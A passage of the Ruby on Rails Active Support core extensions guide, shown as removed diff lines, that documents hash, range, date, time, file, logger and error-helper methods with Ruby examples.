-The methods +to_options+ and +to_options!+ are respectively aliases of +symbolize_keys+ and +symbolize_keys!+.
-
-NOTE: Defined in +active_support/core_ext/hash/keys.rb+.
-
-h5. +assert_valid_keys+
-
-The method +assert_valid_keys+ receives an arbitrary number of arguments, and checks whether the receiver has any key outside that white list. If it does +ArgumentError+ is raised.
-
-<ruby>
-{:a => 1}.assert_valid_keys(:a) # passes
-{:a => 1}.assert_valid_keys("a") # ArgumentError
-</ruby>
-
-Active Record does not accept unknown options when building associations for example. It implements that control via +assert_valid_keys+:
-
-<ruby>
-mattr_accessor :valid_keys_for_has_many_association
-@@valid_keys_for_has_many_association = [
- :class_name, :table_name, :foreign_key, :primary_key,
- :dependent,
- :select, :conditions, :include, :order, :group, :having, :limit, :offset,
- :as, :through, :source, :source_type,
- :uniq,
- :finder_sql, :counter_sql,
- :before_add, :after_add, :before_remove, :after_remove,
- :extend, :readonly,
- :validate, :inverse_of
-]
-
-def create_has_many_reflection(association_id, options, &extension)
- options.assert_valid_keys(valid_keys_for_has_many_association)
- ...
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/hash/keys.rb+.
-
-h4. Slicing
-
-Ruby has built-in support for taking slices out of strings and arrays. Active Support extends slicing to hashes:
-
-<ruby>
-{:a => 1, :b => 2, :c => 3}.slice(:a, :c)
-# => {:c => 3, :a => 1}
-
-{:a => 1, :b => 2, :c => 3}.slice(:b, :X)
-# => {:b => 2} # non-existing keys are ignored
-</ruby>
-
-If the receiver responds to +convert_key+ keys are normalized:
-
-<ruby>
-{:a => 1, :b => 2}.with_indifferent_access.slice("a")
-# => {:a => 1}
-</ruby>
-
-NOTE. Slicing may come in handy for sanitizing option hashes with a white list of keys.
-
-There's also +slice!+ which in addition to perform a slice in place returns what's removed:
-
-<ruby>
-hash = {:a => 1, :b => 2}
-rest = hash.slice!(:a) # => {:b => 2}
-hash # => {:a => 1}
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/hash/slice.rb+.
-
-h4. Extracting
-
-The method +extract!+ removes and returns the key/value pairs matching the given keys.
-
-<ruby>
-hash = {:a => 1, :b => 2}
-rest = hash.extract!(:a) # => {:a => 1}
-hash # => {:b => 2}
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/hash/slice.rb+.
-
-h4. Indifferent Access
-
-The method +with_indifferent_access+ returns an +ActiveSupport::HashWithIndifferentAccess+ out of its receiver:
-
-<ruby>
-{:a => 1}.with_indifferent_access["a"] # => 1
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/hash/indifferent_access.rb+.
-
-h3. Extensions to +Regexp+
-
-h4. +multiline?+
-
-The method +multiline?+ says whether a regexp has the +/m+ flag set, that is, whether the dot matches newlines.
-
-<ruby>
-%r{.}.multiline? # => false
-%r{.}m.multiline? # => true
-
-Regexp.new('.').multiline? # => false
-Regexp.new('.', Regexp::MULTILINE).multiline? # => true
-</ruby>
-
-Rails uses this method in a single place, also in the routing code. Multiline regexps are disallowed for route requirements and this flag eases enforcing that constraint.
-
-<ruby>
-def assign_route_options(segments, defaults, requirements)
- ...
- if requirement.multiline?
- raise ArgumentError, "Regexp multiline option not allowed in routing requirements: #{requirement.inspect}"
- end
- ...
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/regexp.rb+.
-
-h3. Extensions to +Range+
-
-h4. +to_s+
-
-Active Support extends the method +Range#to_s+ so that it understands an optional format argument. As of this writing the only supported non-default format is +:db+:
-
-<ruby>
-(Date.today..Date.tomorrow).to_s
-# => "2009-10-25..2009-10-26"
-
-(Date.today..Date.tomorrow).to_s(:db)
-# => "BETWEEN '2009-10-25' AND '2009-10-26'"
-</ruby>
-
-As the example depicts, the +:db+ format generates a +BETWEEN+ SQL clause. That is used by Active Record in its support for range values in conditions.
-
-NOTE: Defined in +active_support/core_ext/range/conversions.rb+.
-
-h4. +step+
-
-Active Support extends the method +Range#step+ so that it can be invoked without a block:
-
-<ruby>
-(1..10).step(2) # => [1, 3, 5, 7, 9]
-</ruby>
-
-As the example shows, in that case the method returns an array with the corresponding elements.
-
-NOTE: Defined in +active_support/core_ext/range/blockless_step.rb+.
-
-h4. +include?+
-
-The method +Range#include?+ says whether some value falls between the ends of a given instance:
-
-<ruby>
-(2..3).include?(Math::E) # => true
-</ruby>
-
-Active Support extends this method so that the argument may be another range in turn. In that case we test whether the ends of the argument range belong to the receiver themselves:
-
-<ruby>
-(1..10).include?(3..7) # => true
-(1..10).include?(0..7) # => false
-(1..10).include?(3..11) # => false
-(1...9).include?(3..9) # => false
-</ruby>
-
-WARNING: The original +Range#include?+ is still the one aliased to +Range#===+.
-
-NOTE: Defined in +active_support/core_ext/range/include_range.rb+.
-
-h4. +cover?+
-
-Ruby 1.9 provides +cover?+, and Active Support defines it for previous versions as an alias for +include?+.
-
-The method +include?+ in Ruby 1.9 is different from the one in 1.8 for non-numeric ranges: instead of being based on comparisons between the value and the range's endpoints, it walks the range with +succ+ looking for value. This works better for ranges with holes, but it has different complexity and may not finish in some other cases.
-
-In Ruby 1.9 the old behavior is still available in the new +cover?+, which Active Support backports for forward compatibility. For example, Rails uses +cover?+ for ranges in +validates_inclusion_of+.
-
-h4. +overlaps?+
-
-The method +Range#overlaps?+ says whether any two given ranges have non-void intersection:
-
-<ruby>
-(1..10).overlaps?(7..11) # => true
-(1..10).overlaps?(0..7) # => true
-(1..10).overlaps?(11..27) # => false
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/range/overlaps.rb+.
-
-h3. Extensions to +Proc+
-
-h4. +bind+
-
-As you surely know Ruby has an +UnboundMethod+ class whose instances are methods that belong to the limbo of methods without a self. The method +Module#instance_method+ returns an unbound method for example:
-
-<ruby>
-Hash.instance_method(:delete) # => #<UnboundMethod: Hash#delete>
-</ruby>
-
-An unbound method is not callable as is, you need to bind it first to an object with +bind+:
-
-<ruby>
-clear = Hash.instance_method(:clear)
-clear.bind({:a => 1}).call # => {}
-</ruby>
-
-Active Support defines +Proc#bind+ with an analogous purpose:
-
-<ruby>
-Proc.new { size }.bind([]).call # => 0
-</ruby>
-
-As you see that's callable and bound to the argument, the return value is indeed a +Method+.
-
-NOTE: To do so +Proc#bind+ actually creates a method under the hood. If you ever see a method with a weird name like +__bind_1256598120_237302+ in a stack trace you know now where it comes from.
-
-Action Pack uses this trick in +rescue_from+ for example, which accepts the name of a method and also a proc as callbacks for a given rescued exception. It has to call them in either case, so a bound method is returned by +handler_for_rescue+, thus simplifying the code in the caller:
-
-<ruby>
-def handler_for_rescue(exception)
- _, rescuer = Array(rescue_handlers).reverse.detect do |klass_name, handler|
- ...
- end
-
- case rescuer
- when Symbol
- method(rescuer)
- when Proc
- rescuer.bind(self)
- end
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/proc.rb+.
-
-h3. Extensions to +Date+
-
-h4. Calculations
-
-NOTE: All the following methods are defined in +active_support/core_ext/date/calculations.rb+.
-
-INFO: The following calculation methods have edge cases in October 1582, since days 5..14 just do not exist. This guide does not document their behavior around those days for brevity, but it is enough to say that they do what you would expect. That is, +Date.new(1582, 10, 4).tomorrow+ returns +Date.new(1582, 10, 15)+ and so on. Please check +test/core_ext/date_ext_test.rb+ in the Active Support test suite for expected behavior.
-
-h5. +Date.current+
-
-Active Support defines +Date.current+ to be today in the current time zone. That's like +Date.today+, except that it honors the user time zone, if defined. It also defines +Date.yesterday+ and +Date.tomorrow+, and the instance predicates +past?+, +today?+, and +future?+, all of them relative to +Date.current+.
-
-When making Date comparisons using methods which honor the user time zone, make sure to use +Date.current+ and not +Date.today+. There are cases where the user time zone might be in the future compared to the system time zone, which +Date.today+ uses by default. This means +Date.today+ may equal +Date.yesterday+.
-
-h5. Named dates
-
-h6. +prev_year+, +next_year+
-
-In Ruby 1.9 +prev_year+ and +next_year+ return a date with the same day/month in the last or next year:
-
-<ruby>
-d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
-d.prev_year # => Fri, 08 May 2009
-d.next_year # => Sun, 08 May 2011
-</ruby>
-
-If date is the 29th of February of a leap year, you obtain the 28th:
-
-<ruby>
-d = Date.new(2000, 2, 29) # => Tue, 29 Feb 2000
-d.prev_year # => Sun, 28 Feb 1999
-d.next_year # => Wed, 28 Feb 2001
-</ruby>
-
-Active Support defines these methods as well for Ruby 1.8.
-
-h6. +prev_month+, +next_month+
-
-In Ruby 1.9 +prev_month+ and +next_month+ return the date with the same day in the last or next month:
-
-<ruby>
-d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
-d.prev_month # => Thu, 08 Apr 2010
-d.next_month # => Tue, 08 Jun 2010
-</ruby>
-
-If such a day does not exist, the last day of the corresponding month is returned:
-
-<ruby>
-Date.new(2000, 5, 31).prev_month # => Sun, 30 Apr 2000
-Date.new(2000, 3, 31).prev_month # => Tue, 29 Feb 2000
-Date.new(2000, 5, 31).next_month # => Fri, 30 Jun 2000
-Date.new(2000, 1, 31).next_month # => Tue, 29 Feb 2000
-</ruby>
-
-Active Support defines these methods as well for Ruby 1.8.
-
-h6. +beginning_of_week+, +end_of_week+
-
-The methods +beginning_of_week+ and +end_of_week+ return the dates for the beginning and end of week, assuming weeks start on Monday:
-
-<ruby>
-d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
-d.beginning_of_week # => Mon, 03 May 2010
-d.end_of_week # => Sun, 09 May 2010
-</ruby>
-
-+beginning_of_week+ is aliased to +monday+ and +at_beginning_of_week+. +end_of_week+ is aliased to +sunday+ and +at_end_of_week+.
-
-h6. +prev_week+, +next_week+
-
-The method +next_week+ receives a symbol with a day name in English (in lowercase, default is +:monday+) and it returns the date corresponding to that day:
-
-<ruby>
-d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
-d.next_week # => Mon, 10 May 2010
-d.next_week(:saturday) # => Sat, 15 May 2010
-</ruby>
-
-The method +prev_week+ is analogous:
-
-<ruby>
-d.prev_week # => Mon, 26 Apr 2010
-d.prev_week(:saturday) # => Sat, 01 May 2010
-d.prev_week(:friday) # => Fri, 30 Apr 2010
-</ruby>
-
-h6. +beginning_of_month+, +end_of_month+
-
-The methods +beginning_of_month+ and +end_of_month+ return the dates for the beginning and end of the month:
-
-<ruby>
-d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
-d.beginning_of_month # => Sat, 01 May 2010
-d.end_of_month # => Mon, 31 May 2010
-</ruby>
-
-+beginning_of_month+ is aliased to +at_beginning_of_month+, and +end_of_month+ is aliased to +at_end_of_month+.
-
-h6. +beginning_of_quarter+, +end_of_quarter+
-
-The methods +beginning_of_quarter+ and +end_of_quarter+ return the dates for the beginning and end of the quarter of the receiver's calendar year:
-
-<ruby>
-d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
-d.beginning_of_quarter # => Thu, 01 Apr 2010
-d.end_of_quarter # => Wed, 30 Jun 2010
-</ruby>
-
-+beginning_of_quarter+ is aliased to +at_beginning_of_quarter+, and +end_of_quarter+ is aliased to +at_end_of_quarter+.
-
-h6. +beginning_of_year+, +end_of_year+
-
-The methods +beginning_of_year+ and +end_of_year+ return the dates for the beginning and end of the year:
-
-<ruby>
-d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
-d.beginning_of_year # => Fri, 01 Jan 2010
-d.end_of_year # => Fri, 31 Dec 2010
-</ruby>
-
-+beginning_of_year+ is aliased to +at_beginning_of_year+, and +end_of_year+ is aliased to +at_end_of_year+.
-
-h5. Other Date Computations
-
-h6. +years_ago+, +years_since+
-
-The method +years_ago+ receives a number of years and returns the same date those many years ago:
-
-<ruby>
-date = Date.new(2010, 6, 7)
-date.years_ago(10) # => Wed, 07 Jun 2000
-</ruby>
-
-+years_since+ moves forward in time:
-
-<ruby>
-date = Date.new(2010, 6, 7)
-date.years_since(10) # => Sun, 07 Jun 2020
-</ruby>
-
-If such a day does not exist, the last day of the corresponding month is returned:
-
-<ruby>
-Date.new(2012, 2, 29).years_ago(3) # => Sat, 28 Feb 2009
-Date.new(2012, 2, 29).years_since(3) # => Sat, 28 Feb 2015
-</ruby>
-
-h6. +months_ago+, +months_since+
-
-The methods +months_ago+ and +months_since+ work analogously for months:
-
-<ruby>
-Date.new(2010, 4, 30).months_ago(2) # => Sun, 28 Feb 2010
-Date.new(2010, 4, 30).months_since(2) # => Wed, 30 Jun 2010
-</ruby>
-
-If such a day does not exist, the last day of the corresponding month is returned:
-
-<ruby>
-Date.new(2010, 4, 30).months_ago(2) # => Sun, 28 Feb 2010
-Date.new(2009, 12, 31).months_since(2) # => Sun, 28 Feb 2010
-</ruby>
-
-h6. +weeks_ago+
-
-The method +weeks_ago+ works analogously for weeks:
-
-<ruby>
-Date.new(2010, 5, 24).weeks_ago(1) # => Mon, 17 May 2010
-Date.new(2010, 5, 24).weeks_ago(2) # => Mon, 10 May 2010
-</ruby>
-
-h6. +advance+
-
-The most generic way to jump to other days is +advance+. This method receives a hash with keys +:years+, +:months+, +:weeks+, +:days+, and returns a date advanced as much as the present keys indicate:
-
-<ruby>
-date = Date.new(2010, 6, 6)
-date.advance(:years => 1, :weeks => 2) # => Mon, 20 Jun 2011
-date.advance(:months => 2, :days => -2) # => Wed, 04 Aug 2010
-</ruby>
-
-Note in the previous example that increments may be negative.
-
-To perform the computation the method first increments years, then months, then weeks, and finally days. This order is important towards the end of months. Say for example we are at the end of February of 2010, and we want to move one month and one day forward.
-
-The method +advance+ advances first one month, and then one day, the result is:
-
-<ruby>
-Date.new(2010, 2, 28).advance(:months => 1, :days => 1)
-# => Sun, 29 Mar 2010
-</ruby>
-
-While if it did it the other way around the result would be different:
-
-<ruby>
-Date.new(2010, 2, 28).advance(:days => 1).advance(:months => 1)
-# => Thu, 01 Apr 2010
-</ruby>
-
-h5. Changing Components
-
-The method +change+ allows you to get a new date which is the same as the receiver except for the given year, month, or day:
-
-<ruby>
-Date.new(2010, 12, 23).change(:year => 2011, :month => 11)
-# => Wed, 23 Nov 2011
-</ruby>
-
-This method is not tolerant to non-existing dates, if the change is invalid +ArgumentError+ is raised:
-
-<ruby>
-Date.new(2010, 1, 31).change(:month => 2)
-# => ArgumentError: invalid date
-</ruby>
-
-h5(#date-durations). Durations
-
-Durations can be added to and subtracted from dates:
-
-<ruby>
-d = Date.current
-# => Mon, 09 Aug 2010
-d + 1.year
-# => Tue, 09 Aug 2011
-d - 3.hours
-# => Sun, 08 Aug 2010 21:00:00 UTC +00:00
-</ruby>
-
-They translate to calls to +since+ or +advance+. For example here we get the correct jump in the calendar reform:
-
-<ruby>
-Date.new(1582, 10, 4) + 1.day
-# => Fri, 15 Oct 1582
-</ruby>
-
-h5. Timestamps
-
-INFO: The following methods return a +Time+ object if possible, otherwise a +DateTime+. If set, they honor the user time zone.
-
-h6. +beginning_of_day+, +end_of_day+
-
-The method +beginning_of_day+ returns a timestamp at the beginning of the day (00:00:00):
-
-<ruby>
-date = Date.new(2010, 6, 7)
-date.beginning_of_day # => Sun Jun 07 00:00:00 +0200 2010
-</ruby>
-
-The method +end_of_day+ returns a timestamp at the end of the day (23:59:59):
-
-<ruby>
-date = Date.new(2010, 6, 7)
-date.end_of_day # => Sun Jun 06 23:59:59 +0200 2010
-</ruby>
-
-+beginning_of_day+ is aliased to +at_beginning_of_day+, +midnight+, +at_midnight+.
-
-h6. +ago+, +since+
-
-The method +ago+ receives a number of seconds as argument and returns a timestamp those many seconds ago from midnight:
-
-<ruby>
-date = Date.current # => Fri, 11 Jun 2010
-date.ago(1) # => Thu, 10 Jun 2010 23:59:59 EDT -04:00
-</ruby>
-
-Similarly, +since+ moves forward:
-
-<ruby>
-date = Date.current # => Fri, 11 Jun 2010
-date.since(1) # => Fri, 11 Jun 2010 00:00:01 EDT -04:00
-</ruby>
-
-h5. Other Time Computations
-
-h4(#date-conversions). Conversions
-
-h3. Extensions to +DateTime+
-
-WARNING: +DateTime+ is not aware of DST rules and so some of these methods have edge cases when a DST change is going on. For example +seconds_since_midnight+ might not return the real amount in such a day.
-
-h4(#calculations-datetime). Calculations
-
-NOTE: All the following methods are defined in +active_support/core_ext/date_time/calculations.rb+.
-
-The class +DateTime+ is a subclass of +Date+ so by loading +active_support/core_ext/date/calculations.rb+ you inherit these methods and their aliases, except that they will always return datetimes:
-
-<ruby>
-yesterday
-tomorrow
-beginning_of_week (monday, at_beginning_of_week)
-end_on_week (at_end_of_week)
-weeks_ago
-prev_week
-next_week
-months_ago
-months_since
-beginning_of_month (at_beginning_of_month)
-end_of_month (at_end_of_month)
-prev_month
-next_month
-beginning_of_quarter (at_beginning_of_quarter)
-end_of_quarter (at_end_of_quarter)
-beginning_of_year (at_beginning_of_year)
-end_of_year (at_end_of_year)
-years_ago
-years_since
-prev_year
-next_year
-</ruby>
-
-The following methods are reimplemented so you do *not* need to load +active_support/core_ext/date/calculations.rb+ for these ones:
-
-<ruby>
-beginning_of_day (midnight, at_midnight, at_beginning_of_day)
-end_of_day
-ago
-since (in)
-</ruby>
-
-On the other hand, +advance+ and +change+ are also defined and support more options, they are documented below.
-
-h5. Named Datetimes
-
-h6. +DateTime.current+
-
-Active Support defines +DateTime.current+ to be like +Time.now.to_datetime+, except that it honors the user time zone, if defined. It also defines +DateTime.yesterday+ and +DateTime.tomorrow+, and the instance predicates +past?+, and +future?+ relative to +DateTime.current+.
-
-h5. Other Extensions
-
-h6. +seconds_since_midnight+
-
-The method +seconds_since_midnight+ returns the number of seconds since midnight:
-
-<ruby>
-now = DateTime.current # => Mon, 07 Jun 2010 20:26:36 +0000
-now.seconds_since_midnight # => 73596
-</ruby>
-
-h6(#utc-datetime). +utc+
-
-The method +utc+ gives you the same datetime in the receiver expressed in UTC.
-
-<ruby>
-now = DateTime.current # => Mon, 07 Jun 2010 19:27:52 -0400
-now.utc # => Mon, 07 Jun 2010 23:27:52 +0000
-</ruby>
-
-This method is also aliased as +getutc+.
-
-h6. +utc?+
-
-The predicate +utc?+ says whether the receiver has UTC as its time zone:
-
-<ruby>
-now = DateTime.now # => Mon, 07 Jun 2010 19:30:47 -0400
-now.utc? # => false
-now.utc.utc? # => true
-</ruby>
-
-h6(#datetime-advance). +advance+
-
-The most generic way to jump to another datetime is +advance+. This method receives a hash with keys +:years+, +:months+, +:weeks+, +:days+, +:hours+, +:minutes+, and +:seconds+, and returns a datetime advanced as much as the present keys indicate.
-
-<ruby>
-d = DateTime.current
-# => Thu, 05 Aug 2010 11:33:31 +0000
-d.advance(:years => 1, :months => 1, :days => 1, :hours => 1, :minutes => 1, :seconds => 1)
-# => Tue, 06 Sep 2011 12:34:32 +0000
-</ruby>
-
-This method first computes the destination date passing +:years+, +:months+, +:weeks+, and +:days+ to +Date#advance+ documented above. After that, it adjusts the time calling +since+ with the number of seconds to advance. This order is relevant, a different ordering would give different datetimes in some edge-cases. The example in +Date#advance+ applies, and we can extend it to show order relevance related to the time bits.
-
-If we first move the date bits (that have also a relative order of processing, as documented before), and then the time bits we get for example the following computation:
-
-<ruby>
-d = DateTime.new(2010, 2, 28, 23, 59, 59)
-# => Sun, 28 Feb 2010 23:59:59 +0000
-d.advance(:months => 1, :seconds => 1)
-# => Mon, 29 Mar 2010 00:00:00 +0000
-</ruby>
-
-but if we computed them the other way around, the result would be different:
-
-<ruby>
-d.advance(:seconds => 1).advance(:months => 1)
-# => Thu, 01 Apr 2010 00:00:00 +0000
-</ruby>
-
-WARNING: Since +DateTime+ is not DST-aware you can end up in a non-existing point in time with no warning or error telling you so.
-
-h5(#datetime-changing-components). Changing Components
-
-The method +change+ allows you to get a new datetime which is the same as the receiver except for the given options, which may include +:year+, +:month+, +:day+, +:hour+, +:min+, +:sec+, +:offset+, +:start+:
-
-<ruby>
-now = DateTime.current
-# => Tue, 08 Jun 2010 01:56:22 +0000
-now.change(:year => 2011, :offset => Rational(-6, 24))
-# => Wed, 08 Jun 2011 01:56:22 -0600
-</ruby>
-
-If hours are zeroed, then minutes and seconds are too (unless they have given values):
-
-<ruby>
-now.change(:hour => 0)
-# => Tue, 08 Jun 2010 00:00:00 +0000
-</ruby>
-
-Similarly, if minutes are zeroed, then seconds are too (unless it has given a value):
-
-<ruby>
-now.change(:min => 0)
-# => Tue, 08 Jun 2010 01:00:00 +0000
-</ruby>
-
-This method is not tolerant to non-existing dates, if the change is invalid +ArgumentError+ is raised:
-
-<ruby>
-DateTime.current.change(:month => 2, :day => 30)
-# => ArgumentError: invalid date
-</ruby>
-
-h5(#datetime-durations). Durations
-
-Durations can be added to and subtracted from datetimes:
-
-<ruby>
-now = DateTime.current
-# => Mon, 09 Aug 2010 23:15:17 +0000
-now + 1.year
-# => Tue, 09 Aug 2011 23:15:17 +0000
-now - 1.week
-# => Mon, 02 Aug 2010 23:15:17 +0000
-</ruby>
-
-They translate to calls to +since+ or +advance+. For example here we get the correct jump in the calendar reform:
-
-<ruby>
-DateTime.new(1582, 10, 4, 23) + 1.hour
-# => Fri, 15 Oct 1582 00:00:00 +0000
-</ruby>
-
-h3. Extensions to +Time+
-
-h4(#time-calculations). Calculations
-
-NOTE: All the following methods are defined in +active_support/core_ext/time/calculations.rb+.
-
-Active Support adds to +Time+ many of the methods available for +DateTime+:
-
-<ruby>
-past?
-today?
-future?
-yesterday
-tomorrow
-seconds_since_midnight
-change
-advance
-ago
-since (in)
-beginning_of_day (midnight, at_midnight, at_beginning_of_day)
-end_of_day
-beginning_of_week (monday, at_beginning_of_week)
-end_on_week (at_end_of_week)
-weeks_ago
-prev_week
-next_week
-months_ago
-months_since
-beginning_of_month (at_beginning_of_month)
-end_of_month (at_end_of_month)
-prev_month
-next_month
-beginning_of_quarter (at_beginning_of_quarter)
-end_of_quarter (at_end_of_quarter)
-beginning_of_year (at_beginning_of_year)
-end_of_year (at_end_of_year)
-years_ago
-years_since
-prev_year
-next_year
-</ruby>
-
-They are analogous. Please refer to their documentation above and take into account the following differences:
-
-* +change+ accepts an additional +:usec+ option.
-* +Time+ understands DST, so you get correct DST calculations as in
-
-<ruby>
-Time.zone_default
-# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
-
-# In Barcelona, 2010/03/28 02:00 <plus>0100 becomes 2010/03/28 03:00 <plus>0200 due to DST.
-t = Time.local_time(2010, 3, 28, 1, 59, 59)
-# => Sun Mar 28 01:59:59 +0100 2010
-t.advance(:seconds => 1)
-# => Sun Mar 28 03:00:00 +0200 2010
-</ruby>
-
-* If +since+ or +ago+ jump to a time that can't be expressed with +Time+ a +DateTime+ object is returned instead.
-
-h5. +Time.current+
-
-Active Support defines +Time.current+ to be today in the current time zone. That's like +Time.now+, except that it honors the user time zone, if defined. It also defines +Time.yesterday+ and +Time.tomorrow+, and the instance predicates +past?+, +today?+, and +future?+, all of them relative to +Time.current+.
-
-When making Time comparisons using methods which honor the user time zone, make sure to use +Time.current+ and not +Time.now+. There are cases where the user time zone might be in the future compared to the system time zone, which +Time.today+ uses by default. This means +Time.now+ may equal +Time.yesterday+.
-
-h5. +all_day+, +all_week+, +all_month+, +all_quarter+ and +all_year+
-
-The method +all_day+ returns a range representing the whole day of the current time.
-
-<ruby>
-now = Time.current
-# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
-now.all_day
-# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Mon, 09 Aug 2010 23:59:59 UTC <plus>00:00
-</ruby>
-
-Analogously, +all_week+, +all_month+, +all_quarter+ and +all_year+ all serve the purpose of generating time ranges.
-
-<ruby>
-now = Time.current
-# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
-now.all_week
-# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Sun, 15 Aug 2010 23:59:59 UTC <plus>00:00
-now.all_month
-# => Sat, 01 Aug 2010 00:00:00 UTC <plus>00:00..Tue, 31 Aug 2010 23:59:59 UTC <plus>00:00
-now.all_quarter
-# => Thu, 01 Jul 2010 00:00:00 UTC <plus>00:00..Thu, 30 Sep 2010 23:59:59 UTC <plus>00:00
-now.all_year
-# => Fri, 01 Jan 2010 00:00:00 UTC <plus>00:00..Fri, 31 Dec 2010 23:59:59 UTC <plus>00:00
-</ruby>
-
-h4. Time Constructors
-
-Active Support defines +Time.current+ to be +Time.zone.now+ if there's a user time zone defined, with fallback to +Time.now+:
-
-<ruby>
-Time.zone_default
-# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
-Time.current
-# => Fri, 06 Aug 2010 17:11:58 CEST +02:00
-</ruby>
-
-Analogously to +DateTime+, the predicates +past?+, and +future?+ are relative to +Time.current+.
-
-Use the +local_time+ class method to create time objects honoring the user time zone:
-
-<ruby>
-Time.zone_default
-# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
-Time.local_time(2010, 8, 15)
-# => Sun Aug 15 00:00:00 +0200 2010
-</ruby>
-
-The +utc_time+ class method returns a time in UTC:
-
-<ruby>
-Time.zone_default
-# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
-Time.utc_time(2010, 8, 15)
-# => Sun Aug 15 00:00:00 UTC 2010
-</ruby>
-
-Both +local_time+ and +utc_time+ accept up to seven positional arguments: year, month, day, hour, min, sec, usec. Year is mandatory, month and day default to 1, and the rest default to 0.
-
-If the time to be constructed lies beyond the range supported by +Time+ in the runtime platform, usecs are discarded and a +DateTime+ object is returned instead.
-
-h5(#time-durations). Durations
-
-Durations can be added to and subtracted from time objects:
-
-<ruby>
-now = Time.current
-# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
-now + 1.year
-# => Tue, 09 Aug 2011 23:21:11 UTC +00:00
-now - 1.week
-# => Mon, 02 Aug 2010 23:21:11 UTC +00:00
-</ruby>
-
-They translate to calls to +since+ or +advance+. For example here we get the correct jump in the calendar reform:
-
-<ruby>
-Time.utc_time(1582, 10, 3) + 5.days
-# => Mon Oct 18 00:00:00 UTC 1582
-</ruby>
-
-h3. Extensions to +Process+
-
-h4. +daemon+
-
-Ruby 1.9 provides +Process.daemon+, and Active Support defines it for previous versions. It accepts the same two arguments, whether it should chdir to the root directory (default, true), and whether it should inherit the standard file descriptors from the parent (default, false).
-
-h3. Extensions to +File+
-
-h4. +atomic_write+
-
-With the class method +File.atomic_write+ you can write to a file in a way that will prevent any reader from seeing half-written content.
-
-The name of the file is passed as an argument, and the method yields a file handle opened for writing. Once the block is done +atomic_write+ closes the file handle and completes its job.
-
-For example, Action Pack uses this method to write asset cache files like +all.css+:
-
-<ruby>
-File.atomic_write(joined_asset_path) do |cache|
- cache.write(join_asset_file_contents(asset_paths))
-end
-</ruby>
-
-To accomplish this +atomic_write+ creates a temporary file. That's the file the code in the block actually writes to. On completion, the temporary file is renamed, which is an atomic operation on POSIX systems. If the target file exists +atomic_write+ overwrites it and keeps owners and permissions.
-
-WARNING. Note you can't append with +atomic_write+.
-
-The auxiliary file is written in a standard directory for temporary files, but you can pass a directory of your choice as second argument.
-
-NOTE: Defined in +active_support/core_ext/file/atomic.rb+.
-
-h3. Extensions to +Logger+
-
-h4. +around_[level]+
-
-Takes two arguments, a +before_message+ and +after_message+ and calls the current level method on the +Logger+ instance, passing in the +before_message+, then the specified message, then the +after_message+:
-
-<ruby>
-logger = Logger.new("log/development.log")
-logger.around_info("before", "after") { |logger| logger.info("during") }
-</ruby>
-
-h4. +silence+
-
-Silences every log level lesser to the specified one for the duration of the given block. Log level orders are: debug, info, error and fatal.
-
-<ruby>
-logger = Logger.new("log/development.log")
-logger.silence(Logger::INFO) do
- logger.debug("In space, no one can hear you scream.")
- logger.info("Scream all you want, small mailman!")
-end
-</ruby>
-
-h4. +datetime_format=+
-
-Modifies the datetime format output by the formatter class associated with this logger. If the formatter class does not have a +datetime_format+ method then this is ignored.
-
-<ruby>
-class Logger::FormatWithTime < Logger::Formatter
- cattr_accessor(:datetime_format) { "%Y%m%d%H%m%S" }
-
- def self.call(severity, timestamp, progname, msg)
- "#{timestamp.strftime(datetime_format)} -- #{String === msg ? msg : msg.inspect}\n"
- end
-end
-
-logger = Logger.new("log/development.log")
-logger.formatter = Logger::FormatWithTime
-logger.info("<- is the current time")
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/logger.rb+.
-
-h3. Extensions to +NameError+
-
-Active Support adds +missing_name?+ to +NameError+, which tests whether the exception was raised because of the name passed as argument.
-
-The name may be given as a symbol or string. A symbol is tested against the bare constant name, a string is against the fully-qualified constant name.
-
-TIP: A symbol can represent a fully-qualified constant name as in +:"ActiveRecord::Base"+, so the behavior for symbols is defined for convenience, not because it has to be that way technically.
-
-For example, when an action of +PostsController+ is called Rails tries optimistically to use +PostsHelper+. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that +posts_helper.rb+ raises a +NameError+ due to an actual unknown constant. That should be reraised. The method +missing_name?+ provides a way to distinguish both cases:
-
-<ruby>
-def default_helper_module!
- module_name = name.sub(/Controller$/, '')
- module_path = module_name.underscore
- helper module_path
-rescue MissingSourceFile => e
- raise e unless e.is_missing? "#{module_path}_helper"
-rescue NameError => e
- raise e unless e.missing_name? "#{module_name}Helper"
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/name_error.rb+.
-
-h3. Extensions to +LoadError+
-
-Active Support adds +is_missing?+ to +LoadError+, and also assigns that class to the constant +MissingSourceFile+ for backwards compatibility.
-
-Given a path name +is_missing?+ tests whether the exception was raised due to that particular file (except perhaps for the ".rb" extension).
-
-For example, when an action of +PostsController+ is called Rails tries to load +posts_helper.rb+, but that file may not exist. That's fine, the helper module is not mandatory so Rails silences a load error. But it could be the case that the helper module does exist and in turn requires another library that is missing. In that case Rails must reraise the exception. The method +is_missing?+ provides a way to distinguish both cases:
-
-<ruby>
-def default_helper_module!
- module_name = name.sub(/Controller$/, '')
- module_path = module_name.underscore
- helper module_path
